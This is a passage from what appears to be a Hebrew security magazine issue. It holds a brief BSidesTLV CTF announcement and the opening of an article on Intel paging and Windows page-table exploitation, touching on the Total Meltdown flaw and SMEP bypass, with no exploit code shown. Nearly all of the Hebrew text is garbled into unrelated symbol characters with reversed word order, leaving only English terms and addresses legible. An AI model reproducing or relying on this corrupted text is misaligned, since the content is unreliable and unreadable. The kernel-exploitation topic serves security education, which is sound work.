ˢ ˸˞ ˰ˣˬ˷˪ ˭˸˧ˮ˷ ˫˧˶ˬˣ˞ˢ ˷˧-facepalm .ˣ˧˷˩˰ ˡ˰ ˧˪˷ 

) ˭ˣ˶˥˞ˢ ˶ˠ˸˞ˢ ˫ˣ˯˶˧˲ ˰ˠ˶˟GamingStoreˢ ˸˞ ˢ˟˧˩ ˶˸˞ˢ ˸ˣˣ˴ ,(-Scoreboard  ˪˷ ˫˧˲ˡˢˣ

 ˪˰ ˸ˣ˴ˣ˟˵ˢ˸ˮˬ ˱˞˷ ˢ˴ˣ˟˵ ˞˪ ˰ˡ˸ ˸˞ ˬˢˬˣ˵˧. ˨˞ ˫˞˸ˢ˟ ˧˲ˣ˞˪ ˧˪˷ ˫˰ˣ ˸˴˵ ˸˵˟˞ ˶˟˧˧˯ ,

˧˸ˮ˥˟ˢ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˸˞ ˫ˣ˵˧ˬˢ ˧˪˷ ˸˥˸ /profile - ˸˞ ˶˸˲ ˣˢ˷˧ˬ˷˩ ˧˸˰ˡ˧ ˨˩ GamingStore  ˧ˮ˲˪

ˣˢˬ ˢ˧ˢ ˫ˣ˵˧ˬˢ ˧˪˷ ˱ˣ˯˟ ˶˥˸ˢ ˸ˣJ 

˪˧˩ˢ ˯ˮ˩ˢ ˪˪˷ ˸ˣ˞˴˶ˢ ˸ˣˮ˧˧ˮ˰ˬ ,˪˩ˣ˞ ˸˴˵ˣ ˪ˣˢˣ˩˪˞ .˪˟˞ ˵˪˥ˢ ˟ˣ˦ˢ ˶˸ˣ˧˟ ˢ˧ˢ ˷ˠ˲˧ˢ˪ ˫˰ ˡˣ˰ 

˫˧˷ˮ˞ ˢ˪˧ˢ˵ˢˬ - ˫ˢ˧ˮ˧˟ ˧˟˸ˣ˩ ˫˧˶ˠ˸˞ˢ ,˧˵˧˲ˬ ˯ˮ˩ˢ ˶˞˷ˣ ˫˧˶˸ˣ˲ˢ ˪˷ s-CTF.  ,˯ˮ˩ˢ ˱ˣ˯ ˸˞˶˵˪

) ˸ˣ˶˥˸˟ ˫˧˩ˣˤ˪ ˣ˞˶˵dm0n  ˫˧˯˶˲ ˫ˢ˪ ˣ˵˧ˮ˰ˢˣ (˫ˢ˧ˮ˧˟-  ˢ˥˧˷ˬ) ˰˧˟ˠ ˫ˠ ˪˟˧˵ ˭ˣ˷˞˶ˢ ˫ˣ˵ˬˢ

 ˫˧˯˶˲ˢ ˸˵ˮ˰ˢ ˧˶˥˞ ˢ˶˴˵- ˧˞ ˣ˪ ˭˧˞ˢ˲ ˫˧˷˪ ˣ˸ˣ˞ .˸ˣ˶˴ ˪˷ ˫˧˶˧˷˰.( 

˪ ˢˡˣ˸-_reclass_ doadam x-JCTF ˸ˣˣ˴˪ ,ˢ˟ˣ˦ˢ ˸ˣ˶˥˸ˢ ˪˰ BSidesTLV ˪˰ ˯ˮ˩ˢ ˸˶˧˴˧ˣ  ˢ˪˧ˢ˵ˢ

ˢ ˶˴ˣˮ ˢ˧ˢ ˞˪ ˫ˢ˧ˡ˰˪˟ ,˶˷˩ˣˬˢ ˫˧˶ˠ˸˞ˢ ˧˟˸ˣ˩ ˸ˣˣ˴˪ ˢˡˣ˸ ˭˟ˣˬ˩ˣ-CTF !ˢˤˢ ˫˧ˢˡˬˢ 

 
]˶ˣ˵ˬ˟ :https://ctf18.bsidestlv.com[ 

  

https://ctf18.bsidestlv.com/
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Intel Paging & Page Table Exploitation on Windows 
 ˸˞ˬˢ˧˦˰ ˪˟ˣ˧ 

 

 ˢˬˡ˵ˢ 

 ˸ˮ˷˟1985 ˡ˟˰ˬˢ ,i386  ˪˷Intel  ˪˷ ˭ˣ˷˞˶ˢ ˡ˟˰ˬˢ ˢ˧ˢˣ ,˫˪ˣ˰˪ ˞˴˧Intel  ˟˥˶ˬ˟ˣ ˸ˣˡˣ˵˲˟ ˨ˬ˸˷

 ˪˷ ˭ˣ˶˩˧ˤ32- ˪˷ ˭ˣ˷˞˶ˢ ˡ˟˰ˬˢ ˢ˧ˢ ˫ˠ ˞ˣˢ ,˭˩ ˣˬ˩ .˦˧˟Intel ) ˭ˣ˶˩˧ˤ ˪ˣˢ˧ˮ˪ ˢˡ˧˥˧ ˪˧˩ˢ˷MMU - 

Memory Management Unit( ˟ ˢ˩ˬ˸˷-Paging ˸˧˶˟˰˟ ˣ˞ ,-  ˨˟ˡˮ˩ ˱ˣˡ˲ˡ ˢ˶˧ˡˠˬ ˢ˧ˡ˲˧˵˧ˣ ."˱ˣˡ˲ˡ"

 ˷ˣˬ˧ˬ˟ ˟ˣ˷˥˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ  ˵˯˧ˡ˟ ˷ˬ˸˷ˢ˪ ˭ˢ˪ ˶˷˲˞ˬˢ ,˸ˣ˧ˮ˶ˡˣˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˪˩˟

.˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˟ ˶ˬ˷˧ˢ˪ ˧˪˟ˬ ˫˧˪ˣˡˠ ˫˧ˮˣ˸ˮ ˭ˣ˯˥˞ ˶ˣ˟˰ ˥˧˷˵ˢ 

 ˶˞ˣˮ˧˟2018 ,Microsoft ˪ ˭ˣ˵˧˸ ˢ˞˧˴ˣˬ-Meltdown -  ˫˰ ˡ˥˧˟) ˫˪ˣ˰ˢ ˸˞ ˢ˰ˠ˧˷˷ ˫˧ˡ˟˰ˬˢ ˸˷˪ˣ˥

Spectre .(Meltdown  ˞ˣˢ ˫˞ ˫ˠ ,˸˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˪˩ ˸˞ ˞ˣ˶˵˪ ˧ˮˣˡˤ ˨˧˪ˢ˸˪ ˢ˶˷˲˞˷ ˢ˷˪ˣ˥ ˞˧ˢ

 ˪˪ˣ˩) ˨˩˪ ˢ˷˶ˣˬ ˞˪Kernel-Memory ˷ˡ˥ ˧˸˥˦˟˞ ˶ˣ˥ ˠ˴ˣˢ ,˭ˣ˵˧˸˟ .(- ˢ ˦˧˟-Owner ˢ ˪˷-self-ref 

entry ˟-PML4 ˞ ˶˧˟˯ˮ ,ˠˣ˞ˡ˪ ˞˪) ˵˪ˡˣˢ ˨˧˪ˢ˸ ˪˩˪ ˶˷˲˞˷ ˢˬ ,(˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˣ˪˪ˢ ˫˧˥ˮˣˬˢ ˪˩ ˸

 ˪˷ ˪ˡˣˠ ˶ˡ˯˟ ˸ˣ˶˧ˢˬ˟ ˸˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˪˩ ˸˞ ˞ˣ˶˵˪ ˧ˮˣˡˤGB/s ˭˩ˣ ,˟ˣ˸˩˪  ˪˩˪ ˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟

 ˫˷˪ ˢ˸˩ˤ ˢ˷˪ˣ˥ˢ .(˸ˣ˧˪ˮ˶˵ ˸ˣ˟ˣ˸˩ ˫ˠ ,˟ˣ˷) ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ˟ ˸˟ˣ˸˩Total Meltdown ˢ˶ˠ˯ˮˣ ,

 ˢ˥˦˟˞ ˭ˣ˩ˡ˰˟OOB )Out-Of-Band˰ ,˟ ˢ˷˰ˮ ˞˪˷ ˭ˣ˩ˡ-Patch Tuesday  ˳˶ˬ ˱ˣ˯˟ (˰ˣ˟˵ˢ2018 .

 ˪˰ ˢ˰˧˲˷ˢ ˢ˷˪ˣ˥ˢWindows 7 64-bit  ˪˰ ˭˩ˣWindows 2008R2 64-bit. 

 ˶˧˩ˬ ˫ˣ˥˸˟ ˣˬ˴˰ ˸˞ ˡ˟˩ˬ˷ ˰ˣ˴˵ˬ ˪˰˟ ˪˩ˣ ,"˭ˣ˶˩˧ˤ" ˥ˮˣˬˢ ˸˞ ˶˧˩ˬ ˢˮ˩ˣ˸ˢ ˫˪ˣ˰˟ ˵˯ˣ˰˷ ˫ˡ˞ ˪˩

 ˸ˣ˥˲˪ ,"˧ˤ˧˲ ˭ˣ˶˩˧ˤ"ˣ "˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ" ˫˧˥ˮˣˬˢ ˸˞ ˞ˣˢ ˭ˣ˶˩˧ˤˢ ˪ˣˢ˧ˮ ˭˲ˣ˞ ,˸˞ˤ ˸ˣ˶ˬ˪ .˸˧˥˦˷ ˢˬ˶˟

.˸˧˸˥˦˟˞ ˢˮ˧˥˟ˬ ˸ˣ˩˪˷ˢ ˢ˟˶ˢ ˣ˪ ˷˧ˣ ,˶˩ˣˬ ˸ˣ˥˲ ˞˷ˣˮ 

 ˸ˣ˧ˮ˶ˡˣˬ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˪ˢˣˮˬ ˡ˴˧˩ ˶ˣ˵˯ˮ ,ˢˤˢ ˶ˬ˞ˬˢ ˨˪ˢˬ˟-  ˫˧˥ˮˣˬ ˪˰ ˭ˣ˧ˡˬ ˪˥ˢ

ˠ˶˸˪ ˸ˣ˧˦˵˶˲ ˸ˣˬˠˣˡ ˡ˰ˣ ,˫ˢ˧ˮ˧˟ ˪ˡ˟ˢˢˣ ˧ˤ˧˲ˣ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˣˬ˩ ˫˧˧˯˧˯˟ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˫ˣ

 ˨˶ˣ˴˪ ˭ˣˮˠˮˬˢ ˪ˣ˴˧ˮ ˪˰ ˶˟ˡˮ ,˰ˡ˧ ˵˧˲˯ˬ ˶ˣ˟˴ˮ˷ ˶˥˞˪ .˶˸ˣ˧˟ ˸ˣ˷ˡ˥ˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ˟ ˸ˣ˧ˤ˧˲˪

 ˢ˧˴˦˧ˣ˪˲˯˵˞- ˢ ˭ˣˮˠˮˬ ˪ˣ˴˧ˮ˪ ˸ˣ˦˧˷ˣ ˸ˣˮˣ˧˰˶ ˶˲˯ˬ ˠ˧˴ˮ-Paging  ˡˣ˵ ˸˴˶ˢ/˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˸ˣ˶˦ˬ˪

-˟Ring-0  ˣˬ˩ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣˮˠˢ ˸˥˸SMEP. 

˶ˬ˞ˬˢ ˨˪ˢˬ˟˷ ˭˧˧˴ˮ˟ ˭ˣˡˮ ,-Paging  ˸˥˸Windows  ˧ˡ˟˰ˬ ˪˰ˬIntel. 

ˢ ˫˪ˣ˰ ˸˞ ˶˧˩ˬ ˞˶ˣ˵ˢ˷ ˨˩ ˪˰ ˨ˬ˸˯˞ ,˶ˬ˞ˬˢ ˨˪ˢˬ˟-Kernel Exploitation  ,ˣ˟˷ ˫˧˧˷˵ˢ ˸˞ˣ

 ˞˷ˣˮ˟ ˧˸ˬ˯˶˲˷ ˫˧˶ˬ˞ˬˢ ˸˶ˡ˯˟ ˱˯ˣˮ ˵˪˥˩ ˷ˬ˷˪ ˡ˰ˣ˧ˬ ˶ˬ˞ˬˢ .ˢ˶˧˟˯ ˢˬ˶˟ ˸ˣ˥˲˪

 ˸˧˧˴˦˧ˣ˪˲˯˵˞Kernel ˟-Windows ,˸˞ˤ ˫˰ .˦ˣ˶˧˲ ˞˪˪ ˫˧˧˪˞˧ˣˣ˧˶˦ ˞˪ ˫˧˥ˮˣˬ˟ ˷ˬ˸˷˞ ˫˧˸˧˰˪ ˭˩˪ˣ ,



 
 

Intel Paging & Page Table Exploitation on Windows 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  66 
 

 ˢˡ˧ˬ˟ˣ ,˧˥˩ˣˮˢ ˶ˬ˞ˬˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ ˢ˶ˡ˯˟ ˫˧ˬˡˣ˵ˢ ˫˧˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˧˥˶˩ˢ ˧˞ˮ˸ ˢˤ ˭˧˞

 ˶˩ˣˬ ˞˪ ˥ˮˣˬ˟ ˪˵˸ˮ ˞˶ˣ˵ˢˣ- .˫˧ˬˡˣ˵ˢ ˫˧˶ˬ˞ˬ˟ (?˫˸ˮ˟ˢ) ˱ˡ˲ˡ˪ ˵˧˲˯˧ ˟ˣ˶˪ 

 

Virtual Memory vs Physical Memory 

" ˯˶ˣ˵ˢ ˪˰ ˯˯ˣ˟ˬ ˧˥˩ˣˮˢ ˱˧˰˯ˢVirtual Memory ˪˷ "Schaffer-David Black˟ ˭˧ˬˤ˷ ,-YouTube. 

 ˧ˤ˧˲ ˭ˣ˶˩˧ˤ˪ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˭˧˟ ˢˡ˶˲ˢˢ ˸ˬ˧˧˵ ˢ˸˧˧ˢ ˞˪ ,˶˟˰˟- ˩˸ˢ ˪˩ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˣ˸ˣ˞ ˣ˵˪˥ ˸ˣ˧ˮ- 

.˧ˤ˧˲ ˭ˣ˶˩˧ˤ  ˣ˞ ,˧ˤ˧˲ ˭ˣ˶˩˧ˤ ,˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˢˬ˶˟Physical Memory ˢ˪˞˷ˢ ˪˰ ˢˮˣ˰˷ ˨˶˰ˢ ˞ˣˢ ,

 ˢˬ˩"RAM  .ˢ˞˧˶˵/ˢ˟˧˸˩ ˰˴˟ˬ ˡ˟˰ˬˢ ˣ˧˪˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˞ˣˢ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ."˨˪˷ ˟˷˥ˬ˟ ˭˵˸ˣˬ 

 ,˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˪˰ˬ ˸ˣ˶˧˷˧ ˣ˴˶ ˸ˣ˧ˮ˩˸ˢ ˪˩ ˢ˟ ˢ˲ˣ˵˸˟ ˶ˣˤ˞˟ ˵˶ ˷ˬ˸˷ˢ˪ ˢ˲ˣ˴ˬ ˢ˧ˢ ˸˧ˮ˩˸ ˪˩ˬ

 ˨˩ ˪˰ ˷ˬˬ ˪˷ ˢ˲˧˩˞ ˢ˸˧˧ˢ ˞˪ ˪˟˞ ,ˢ˪ ˨˧˧˷ ˢ˧ˢ˷ ˭ˣ˶˩˧ˤˢ-  ˸˟ˣ˸˩ ˪˩˪ ˟ˣ˸˩˪ ˢ˪˩˧ ˸˧ˮ˩˸ ˪˩

 ˭ˣ˶˩˧ˤ˪ ˢ˟˧˸˩˟ ˢ˩ˣ˶˩˷ ˢ˶ˣ˶˟ˢ ˢˮ˩˯˪ ˶˟˰ˬ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˷ˣˬ˧˷˟ ˣ˧ˢ ˸ˣ˟ˣ˸˩ˢ ˫˞ ˫ˠ ,˭ˣ˶˩˧ˤ˟

ˢ˸ ˭˧˟ ˢˡ˶˲ˢ ˢ˧ˢ˸ ˞˪˷ ˞˧ˢ ˸˲˯ˣˮ ˸ˣ˰ˬ˷ˬ ,˸˩˶˰ˬˢ ˡ˥˞ ˭ˣ˶˩˧ˤˢ ˸˞ ˯ˣ˶ˡ˪ ˣ˪˩ˣ˧ ˫˧˩˧˪ˢ˸ˣ ,˫˧˩˧˪

:ˢˤ˩ ˟˴ˬ ˢ˷˧˥ˬˬ ˢ˞˟ˢ ˢˮˣˬ˸ˢ .˧ˮ˷ˢ ˪˷  ,˫˧ˮˣ˷ ˫˧˩˧˪ˢ˸ ˧ˮ˷A x-B ˸˟ˣ˸˩˪ ˰ˣ˟˵ ˭˲ˣ˞˟ ˫˧˷ˠ˧ˮ ,

0x1337 ˪ ˫˧˷ˠ˧ˮ ˫˧˩˧˪ˢ˸ˢ ˧ˮ˷˷ ˭ˣˣ˧˩ˬ .˟ˣ˷˥ ˰ˡ˧ˬ ˭˯˥˞˪ ˪˧˟˷˟ ˢ˟ ˫˧˷ˬ˸˷ˬˣ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ 

0x1337˰ˡ˧ˬˢ ˸˞ ˧ˮ˷˪ ˡ˥˞ ˯ˣ˶ˡ˪ ˫˧˪ˣ˪˰ ˫ˢ , .˰ˣ˟˵ ˭˲ˣ˞˟ 

 

 ˪˧˰˧ ˞˪ ˪ˣ˴˧ˮ˪ ˪˧˟ˣˬ˷ ˢˬ ,˭ˣ˶˩˧ˤ˟ ˶˴ˣˣ˧ˢ˪ ˫˧˪ˣ˪˰˷ "˫˧˶ˣ˥" ˞˧ˢ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ˪ ˢ˶˧˷˧ ˢ˷˧ˠ˟ ˸˲˯ˣˮ ˢ˧˰˟

 ˣˮ˪ ˷˧ˣ ˢˡ˧ˬ˟ .˭ˣ˶˩˧ˤˢ ˪˷4GB  ˣˮ˪ ˷˧˷ ˭˧˧ˬˡˮ .˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˪˷3  ˢˮ˩˸ :˸ˣˮ˩˸A  ˢ˩˧˶˴2GB  ˭ˣ˶˩˧ˤ ˪˷

 ˢˮ˩˸ ,˱˧˴˶B  ˢ˩˧˶˴1GB  ˢˮ˩˸ˣ ,˱˧˴˶ ˭ˣ˶˩˧ˤ ˪˷C  ˢ˩˧˶˴2GB  ˪˩˷ ˥˧ˮˮ ,˭˩ ˣˬ˩ .˱˧˴˶ ˭ˣ˶˩˧ˤ ˪˷

 ˢˮ˩˸ ˸˞ ˳˧˶ˢ˪ ˢ˴˶ˮ˷ ˥˧ˮˮ .ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ˟ ˧ˣˮ˲ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢB  ˢˮ˩˸ ˸˞ ˭˩ˬ ˶˥˞˪ˣA ˭˪ˢ˪ .

:˸ˣ˧ˮ˩˸ˢ ˭˧˟ ˸˧˶˷˲˞ ˭ˣ˶˩˧ˤ ˸˵ˣ˪˥ 

 

https://www.youtube.com/watch?v=qcBIvnQt0Bw&list=PLiwt1iVUib9s2Uo5BeYmwkDFUh70fJPxX
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 ˸˧ˮ˩˸˷ ˥˧ˮˮA  ˨˩ ˢ˞˶ˮ ˣˮ˪˷ ˭ˣ˶˩˧ˤˢ ˸˰˩ ,ˢ˸˴˧˶ ˸˞ ˢˬ˧˧˯- 1GB  ,˧ˣˮ˲2GB  ˡˣ˰ˣ ,˫˧˯ˣ˲˸1GB ˮ˲ .˧ˣ

 ˸˧ˮ˩˸ ˸˞ ˳˧˶ˢ˪ ˢ˴˶ˮC ˸˧ˮ˩˸˪ ˵˧ˮ˰ˢ˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞ ,ˣˮ˶˰˴˪ .C  ˸ˣ˶ˬ˪ ,ˢ˩˧˶˴ ˞˧ˢ˷ ˭ˣ˶˩˧ˤˢ ˸˞

.ˢ˪˷ ˢ˴˧˶˪ ˵˧˲˯ˬ ˭˩ ˞˵ˣˣˡ ˣˮ˪˷ ˪˪ˣ˩ˢ ˧ˣˮ˲ˢ ˭ˣ˶˩˧ˤˢ˷ 

 ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˵˧˲˯ˬ ˣˮ˪ ˭˧˞ ˦ˣ˷˲ ,˫˧˸˧˰˪˷ ˞˧ˢ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˪˰ˬ ˢ˴˧˶˟ ˢ˧˰˟ ˡˣ˰-  ˡ˟˰ˬˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧

˶ˬ˟ ˨ˬˣ˸ ˣˮ˪˷ ˪˷ ˸ˣˡˣ˵˲˟ˣ ˸ˣ˟ˣ˸˩ ˟˥32  ˵˶ ˣˮ˪ ˷˧ ˪˰ˣ˲˟ ˪˟˞ ,˦˧˟2GB RAM ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˶ˬˣ˪˩ ,

 ˸ˣ˟ˣ˸˩ˢ ˭˧˟ ˰ˮ ˣˮ˪˷0 ˪-0x7FFFFFFF ˸˟ˣ˸˩˪ ˸˷ˠ˪ ˢ˯ˮ˸ ˸˧ˮ˩˸ˣ ˢˡ˧ˬ˟ .0xFFFC0000 -  ˢˮ˧˵˸ ˢ˷˧ˠ

 ˭˧˦ˣ˪˥˪- .ˢ˯˧˶˵ ˷˥˶˸˸ 

 ˣ˞ ,˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤVirtual Memory ˫˧˟˞˷ˬˢ ˪˷ ˢ˧˴˵˶˦˯˟˞ ˵˲˯ˬ ˶˷˞ ˭ˣ˶˩˧ˤ ˪ˣˢ˧ˮ˪ ˢ˵˧ˮ˩˦ ˞ˣˢ ,

 ˪ˣˡˠ ˸ˣ˟ˣ˸˩ ˟˥˶ ˪˷ (˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˪˷) ˫˧˷ˬ˸˷ˬ˪ ˢ˧˧˪˷ˢ ˸˶˴ˣ˧ˣ ,˟˷˥ˬ˪ ˫˧ˮ˧ˬˤ ˸ˬ˞˟˷

 ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ,˶ˬˣ˪˩) ˡ˶˲ˮ ˭˲ˣ˞˟ ˨˧˪ˢ˸ ˪˩˪ ˢ˲ˣˬˬ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ .ˡˣ˞ˬ0x1337  ˨˧˪ˢ˸˟

A  ˢ˸ˣ˞˪ ˢ˲ˣˬ˸ ˥˶˩ˢ˟ ˞˪ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˣˬ˩ ˸˧ˤ˧˲ ˸˟ˣ˸˩0x1337  ˨˧˪ˢ˸˟B.( 

 ˟˥˶ˬ˷ ˨˩˟ ˸˶˸˲ˮ ˫˧˩˧˪ˢ˸ˢ ˡˣˡ˧˟ ˸˧˧˰˟ :ˣˮˠ˴ˢ˷ ˸ˣ˧˰˟ˢ ˸˞ ˶˸ˣ˲ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˡ˴˧˩ ˭˥˟ˮ

˶˲ ˞ˣˢ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ- ˣ˪˷ˬ ˧ˣ˲˧ˬ ˧ˮ˟ˬ ˫˰ ˣ˪˷ˬ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˨˧˪ˢ˸ ˪˩˪ ˶ˬˣ˪˩ ,˨˧˪ˢ˸

˦˶˧ˣ ˸˟ˣ˸˩ ˫ˠ˶˸˪ ˫˧˶ˤˣ˰˷) ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˨˧˪ˢ˸ ˪˩˪ ˢˬˡˬ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ˷ ˫ˠ ˭˧˧˴ˮ .(˸˧ˤ˧˲˪ ˸˧˪˞ˣ

ˣ ˪ˣˡˠ˱˧˴˶. 

"˫˧˶ˣ˥"ˢ ˸˧˧˰˟  ˫˩˥ ˭˲ˣ˞˟ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˸˞ ˪ˢˮ˪ ˪˩ˣˮ ,˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˸˶ˤ˰˟˷ ˨˩˟ ˸˶˸˲ˮ ˭ˣ˶˩˧ˤ˟

 ˣˮˠ˴ˢ˷ ˸˧˷˧˪˷ˢ ˢ˧˰˟ˢ .˶˸ˣ˧-  ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˵˧˲˯ˬ ˶ˡ˰˧ˢ˟ ˸ˣˢˣ˟ˠ ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩˪ ˢ˷˧ˠ-  ˫ˠ ˸˶˸˲ˮ

 ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˸ˣ˲ˬ˪ ˭˸˧ˮ˷ ˫ˣ˷ˬ ˸˞ˤˣ ,˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˸˶ˤ˰˟ ˞˧ˢ0xFFFC0000  ˸˟ˣ˸˩)

 ˭ˣ˶˩˧ˤ˟ ˢˢˣ˟ˠ ˭ˣ˶˩˧ˤ32-bit ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ (0x10000 .ˢˢˣ˟ˠ ˸˟ˣ˸˩˪ ˢ˷˧ˠ ˨˧˪ˢ˸˪ ˶˷˲˞˪ ˨˩˟ˣ , 

˪ ˧ˣ˲˧ˬ˪ ˶˟˰ˬ ,˭˩ ˣˬ˩-RAMˣ˲ˣˬˬ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩ ,˪) ˵˯˧ˡ˪ ˫ˠ ˸-Pagefile ,(

 ˸˶ˤ˰˟Paging ˧ˡ˧ ˪˰) ˪˰ˣ˲˟ ˸˩˶˰ˬ˟ ˫˧˧˵˷ˬ ˭ˣ˶˩˧ˤ ˶˸ˣ˧ ˪˴ˮ˪ ˫˧˩˧˪ˢ˸˪ ˶˷˲˞˪ ˨˩ˣ ,Paging-Out 

˪ ˷ˬˣ˷ˬ ˭ˣ˶˩˧ˤ ˪˷ ˫˩˥-Pagefile ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩˪ ˶˶˥ˣ˷˷ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˪˷ ˷ˡ˥ˬ ˢ˞˴˵ˢˣ ,

 .(˸ˣ˷ˡ˥ 
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˸˞ ˸ˣ˧˪˪˩˟ ˶˞˸ˬ ,ˢ˧ˡ˲˧˵˧ˣˬ ˥ˣ˵˪ˢ ,˞˟ˢ ˫˧˷˶˸ˢ :˧ˤ˧˲ ˭ˣ˶˩˧ˤ˪ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˭˧˟ ˶˷˵ˢ 

 

.˸ˣ˧ˤ˧˲ ˸ˣ˟ˣ˸˩˪ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˫ˠ˶˸˪ ˡ˴˧˩ ˭˧˟ˢ˪ ˣˮ˪ ˸ˣ˶ˤˣ˰ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ,˨˷ˬˢ˟ ˢ˞˶ˮ˷ ˧˲˩ 

 

Intel Paging 

˧˲˩  ˰ˡ˧ˬ ˧ˮ˟ˬ ˫˧˶ˡˠˣˬ ˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰˷ ˨˩ ,˨˧˪ˢ˸ ˶ˣ˟˰ ˶ˡˠˣˬ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ,˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮ˧˧˴˷

 ˫˧ˮ˟ˬ˟ ˭ˣˡˮ ,˫˧˟ˣ˶˵ˢ ˫˧˲˧˰˯˟ .˸ˣ˧ˤ˧˲ ˸ˣ˟ˣ˸˩˪ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩ ˫ˠ˶˸˪ ˫˧˶ˤˣ˰ ˶˷˞

 ˸ˣˮˣ˷ ˡ˟˰ˬ ˸˶ˣ˦˵˦˧˩˶˞ ˸˥˸ ,ˣˬ˴˰ ˫ˣˠ˶˸ˢ ˭˲ˣ˞˟ ˭˩ˣ ,˫ˣˠ˶˸ˢ ˸˞ ˫˧˶˷˲˞ˬˢ- x86 ,x86  ˫˰PAE ,

 ˱ˣ˯˟˪ˣ- x86_64 . 

 ˧ˡ˟˰ˬ ˸˥˸ ˷ˣˬ˧ˬˢ ˸˞ ˶˞˸ˮ ,˶ˣˬ˞˩Intel ˟ ˢˮˣ˩ˬˢ ˪˷ ˡ˟˰ˬˢ ˠˣ˯ ˸˞ ˸ˣˢˤ˪ ˪˩ˣˮ .ˡ˟˪˟-WinDbg 

 ˢˡˣ˵˲ˢ ˸˴˶ˢ ˸˶ˤ˰˟!cpuinfo ˸˴˶ˢ ˧ˡ˧ ˪˰ ˭˩ˣ ,coreinfo.exe ˬ-SysInternals ˣˮ˧˧˴˷ ˧ˮ˷ˢ ˧˪˩ˢ .

 ˟˴ˬ ˣˬ˩ ,ˡ˟˰ˬˢ ˸ˣˡˣ˞ ˸˧˸ˣ˰ˬ˷ˬ ˶˸ˣ˧ ˟˶ ˰ˡ˧ˬ ˣˮ˪ ˵˲˯˧ ˣˬ˩) ˸ˣˬ˧ˣ˯ˬ ˸ˣ˪ˣ˩˸˟ ˡ˟˰ˬˢ ˸˩˧ˬ˸

SMEP x-SMAP˟ ˷ˣˬ˧˷˪ ˢˬˠˣˡ ˭˪ˢ˪ .(-!cpuinfo  ˡ˟˰ˬ˟ ˸˷ˬ˸˷ˬ ˢˮˣ˩ˬˢ˷ ˸ˣˢˤ˪ ˸ˮˬ ˪˰Intel: 
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x86 Paging 

 ˭˪ˢ˪) ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ,˶ˣˬ˞˩VA - Virtual Address ˭˪ˢ˪) ˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˸˶ˬˣˬ (PA - 

